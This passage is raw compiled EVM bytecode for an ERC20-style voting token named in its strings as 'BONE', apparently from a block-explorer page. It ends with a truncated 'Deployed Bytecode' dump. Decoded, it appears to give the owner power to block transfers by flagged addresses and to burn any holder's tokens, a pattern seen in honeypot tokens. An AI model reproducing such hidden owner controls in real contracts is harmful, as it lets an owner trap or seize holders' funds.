b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ff906127f9565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60004382106109a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099e9061288b565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1603610a13576000915050610d32565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a6291906128da565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b0f57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610ae991906128da565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610d32565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b90576000915050610d32565b600080600183610ba091906128da565b90505b8163ffffffff168163ffffffff161115610ccc57600060028383610bc791906128da565b610bd1919061293d565b82610bdc91906128da565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603610c9b57806020015195505050505050610d32565b86816000015163ffffffff161015610cb557819350610cc5565b600182610cc291906128da565b92505b5050610ba3565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610d5f9061277c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8b9061277c565b8015610dd85780601f10610dad57610100808354040283529160200191610dd8565b820191906000526020600020905b815481529060010190602001808311610dbb57829003601f168201915b5050505050905090565b610dea6113db565b73ffffffffffffffffffffffffffffffffffffffff16610e08611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e55906127f9565b60405180910390fd5b610e688282611b38565b5050565b610e746113db565b73ffffffffffffffffffffffffffffffffffffffff16610e92611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610ee8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edf906127f9565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611006610f506113db565b846110018560405180606001604052806025815260200161308c6025913960016000610f7a6113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b6001905092915050565b600061102461101d6113db565b84846115ac565b6001905092915050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611098576000611105565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110e691906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111dd6113db565b73ffffffffffffffffffffffffffffffffffffffff166111fb611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614611251576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611248906127f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b7906129e0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138c9190612a00565b9050838110156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612aa2565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144990612b34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890612bc6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159f9190612542565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061164d5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116a95760011515600560009054906101000a900460ff161515146116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169f90612c0c565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170f90612c9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612d30565b60405180910390fd5b611792838383611d03565b6117fe8160405180606001604052806026815260200161300a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119339190612542565b60405180910390a3505050565b6000838311158290611988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197f9190612402565b60405180910390fd5b5082846119959190612d50565b90509392505050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a0d84610843565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b09828483611d08565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e90612df6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2590612e88565b60405180910390fd5b81600654611c3c9190612d50565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c919190612d50565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cf69190612542565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d445750600081115b15611fb257600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e7d576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611de7576000611e54565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e3591906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e6b8483611fb790919063ffffffff16565b9050611e7986848484612010565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb1576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f1b576000611f88565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f6991906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611f9f848361137d90919063ffffffff16565b9050611fad85848484612010565b5050505b5b505050565b600082821115611ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff390612ef4565b60405180910390fd5b81836120089190612d50565b905092915050565b60006120344360405180606001604052806034815260200161305860349139612313565b905060008463ffffffff161180156120d257508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761209c91906128da565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561214c5781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761212691906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122bc565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561220b9190612f14565b63ffffffff1611612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890612fc0565b60405180910390fd5b60018461225e9190612f14565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612304929190612fe0565b60405180910390a25050505050565b60006401000000008310829061235f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123569190612402565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123a3578082015181840152602081019050612388565b838111156123b2576000848401525b50505050565b6000601f19601f8301169050919050565b60006123d482612369565b6123de8185612374565b93506123ee818560208601612385565b6123f7816123b8565b840191505092915050565b6000602082019050818103600083015261241c81846123c9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061245482612429565b9050919050565b61246481612449565b811461246f57600080fd5b50565b6000813590506124818161245b565b92915050565b6000819050919050565b61249a81612487565b81146124a557600080fd5b50565b6000813590506124b781612491565b92915050565b600080604083850312156124d4576124d3612424565b5b60006124e285828601612472565b92505060206124f3858286016124a8565b9150509250929050565b60008115159050919050565b612512816124fd565b82525050565b600060208201905061252d6000830184612509565b92915050565b61253c81612487565b82525050565b60006020820190506125576000830184612533565b92915050565b60008060006060848603121561257657612575612424565b5b600061258486828701612472565b935050602061259586828701612472565b92505060406125a6868287016124a8565b9150509250925092565b600060ff82169050919050565b6125c6816125b0565b82525050565b60006020820190506125e160008301846125bd565b92915050565b6000602082840312156125fd576125fc612424565b5b600061260b84828501612472565b91505092915050565b61261d81612449565b82525050565b60006020820190506126386000830184612614565b92915050565b600063ffffffff82169050919050565b6126578161263e565b82525050565b6000602082019050612672600083018461264e565b92915050565b6000806040838503121561268f5761268e612424565b5b600061269d85828601612472565b92505060206126ae85828601612472565b9150509250929050565b6126c18161263e565b81146126cc57600080fd5b50565b6000813590506126de816126b8565b92915050565b600080604083850312156126fb576126fa612424565b5b600061270985828601612472565b925050602061271a858286016126cf565b9150509250929050565b6000604082019050612739600083018561264e565b6127466020830184612533565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061279457607f821691505b6020821081036127a7576127a661274d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006127e3602083612374565b91506127ee826127ad565b602082019050919050565b60006020820190508181036000830152612812816127d6565b9050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000612875602783612374565b915061288082612819565b604082019050919050565b600060208201905081810360008301526128a481612868565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128e58261263e565b91506128f08361263e565b925082821015612903576129026128ab565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006129488261263e565b91506129538361263e565b9250826129635761296261290e565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129ca602683612374565b91506129d58261296e565b604082019050919050565b600060208201905081810360008301526129f9816129bd565b9050919050565b6000612a0b82612487565b9150612a1683612487565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a4b57612a4a6128ab565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a8c601b83612374565b9150612a9782612a56565b602082019050919050565b60006020820190508181036000830152612abb81612a7f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b1e602483612374565b9150612b2982612ac2565b604082019050919050565b60006020820190508181036000830152612b4d81612b11565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bb0602283612374565b9150612bbb82612b54565b604082019050919050565b60006020820190508181036000830152612bdf81612ba3565b9050919050565b50565b6000612bf6600083612374565b9150612c0182612be6565b600082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c88602583612374565b9150612c9382612c2c565b604082019050919050565b60006020820190508181036000830152612cb781612c7b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d1a602383612374565b9150612d2582612cbe565b604082019050919050565b60006020820190508181036000830152612d4981612d0d565b9050919050565b6000612d5b82612487565b9150612d6683612487565b925082821015612d7957612d786128ab565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612de0602183612374565b9150612deb82612d84565b604082019050919050565b60006020820190508181036000830152612e0f81612dd3565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e72602283612374565b9150612e7d82612e16565b604082019050919050565b60006020820190508181036000830152612ea181612e65565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612ede601e83612374565b9150612ee982612ea8565b602082019050919050565b60006020820190508181036000830152612f0d81612ed1565b9050919050565b6000612f1f8261263e565b9150612f2a8361263e565b92508263ffffffff03821115612f4357612f426128ab565b5b828201905092915050565b7f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008201527f6b706f696e742065786365656473203332206269747300000000000000000000602082015250565b6000612faa603683612374565b9150612fb582612f4e565b604082019050919050565b60006020820190508181036000830152612fd981612f9d565b9050919050565b6000604082019050612ff56000830185612533565b6130026020830184612533565b939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c8eadf4c3f6d004205ba4010b9160085a15e703b968934a633c90634af821d1264736f6c634300080f0033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806377dd50e3116100c3578063a457c2d71161007c578063a457c2d7146103ea578063a9059cbb1461041a578063b4b5ea571461044a578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b806377dd50e314610318578063782d6fe1146103345780637ecebe001461036457806395d89b41146103945780639dc29fac146103b25780639f08b319146103ce5761014d565b80633950935111610115578063395093511461020c578063561174821461023c578063587cde1e1461026c5780635c19a95c1461029c5780636fcfff45146102b857806370a08231146102e85761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b6040516101679190612402565b60405180910390f35b61018a600480360381019061018591906124bd565b610589565b6040516101979190612518565b60405180910390f35b6101a86105a7565b6040516101b59190612542565b60405180910390f35b6101d860048036038101906101d3919061255d565b6105b1565b6040516101e59190612518565b60405180910390f35b6101f661068a565b60405161020391906125cc565b60405180910390f35b610226600480360381019061022191906124bd565b6106a1565b6040516102339190612518565b60405180910390f35b610256600480360381019061025191906125e7565b610754565b6040516102639190612518565b60405180910390f35b610286600480360381019061028191906125e7565b6107aa565b6040516102939190612623565b60405180910390f35b6102b660048036038101906102b191906125e7565b610813565b005b6102d260048036038101906102cd91906125e7565b610820565b6040516102df919061265d565b60405180910390f35b61030260048036038101906102fd91906125e7565b610843565b60405161030f9190612542565b60405180910390f35b610332600480360381019061032d91906125e7565b61088c565b005b61034e600480360381019061034991906124bd565b610963565b60405161035b9190612542565b60405180910390f35b61037e600480360381019061037991906125e7565b610d38565b60405161038b9190612542565b60405180910390f35b61039c610d50565b6040516103a99190612402565b60405180910390f35b6103cc60048036038101906103c791906124bd565b610de2565b005b6103e860048036038101906103e391906125e7565b610e6c565b005b61040460048036038101906103ff91906124bd565b610f43565b6040516104119190612518565b60405180910390f35b610434600480360381019061042f91906124bd565b611010565b6040516104419190612518565b60405180910390f35b610464600480360381019061045f91906125e7565b61102e565b6040516104719190612542565b60405180910390f35b610494600480360381019061048f9190612678565b61110d565b6040516104a19190612542565b60405180910390f35b6104c460048036038101906104bf91906126e4565b611194565b6040516104d2929190612724565b60405180910390f35b6104f560048036038101906104f091906125e7565b6111d5565b005b6060600780546105069061277c565b80601f01602080910402602001604051908101604052809291908181526020018280546105329061277c565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113db565b84846113e3565b6001905092915050565b6000600a54905090565b60006105be8484846115ac565b61067f846105ca6113db565b61067a8560405180606001604052806028815260200161303060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113db565b8461074585600160006106bf6113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b6113e3565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b61081d338261199e565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108946113db565b73ffffffffffffffffffffffffffffffffffffffff166108b2611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ff906127f9565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60004382106109a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099e9061288b565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1603610a13576000915050610d32565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a6291906128da565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b0f57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610ae991906128da565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610d32565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b90576000915050610d32565b600080600183610ba091906128da565b90505b8163ffffffff168163ffffffff161115610ccc57600060028383610bc791906128da565b610bd1919061293d565b82610bdc91906128da565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603610c9b57806020015195505050505050610d32565b86816000015163ffffffff161015610cb557819350610cc5565b600182610cc291906128da565b92505b5050610ba3565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610d5f9061277c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8b9061277c565b8015610dd85780601f10610dad57610100808354040283529160200191610dd8565b820191906000526020600020905b815481529060010190602001808311610dbb57829003601f168201915b5050505050905090565b610dea6113db565b73ffffffffffffffffffffffffffffffffffffffff16610e08611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e55906127f9565b60405180910390fd5b610e688282611b38565b5050565b610e746113db565b73ffffffffffffffffffffffffffffffffffffffff16610e92611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610ee8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edf906127f9565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611006610f506113db565b846110018560405180606001604052806025815260200161308c6025913960016000610f7a6113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b6001905092915050565b600061102461101d6113db565b84846115ac565b6001905092915050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611098576000611105565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110e691906128da565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111dd6113db565b73ffffffffffffffffffffffffffffffffffffffff166111fb611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614611251576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611248906127f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b7906129e0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138c9190612a00565b9050838110156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612aa2565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144990612b34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890612bc6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159f9190612542565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061164d5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116a95760011515600560009054906101000a900460ff161515146116a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169f90612c0c565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170f90612c9e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612d30565b60405180910390fd5b611792838383611d03565b6117fe8160405180606001604052806026815260200161300a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119339190612542565b60405180910390a3505050565b6000838311158290611988576040517f08c379a00000000000000000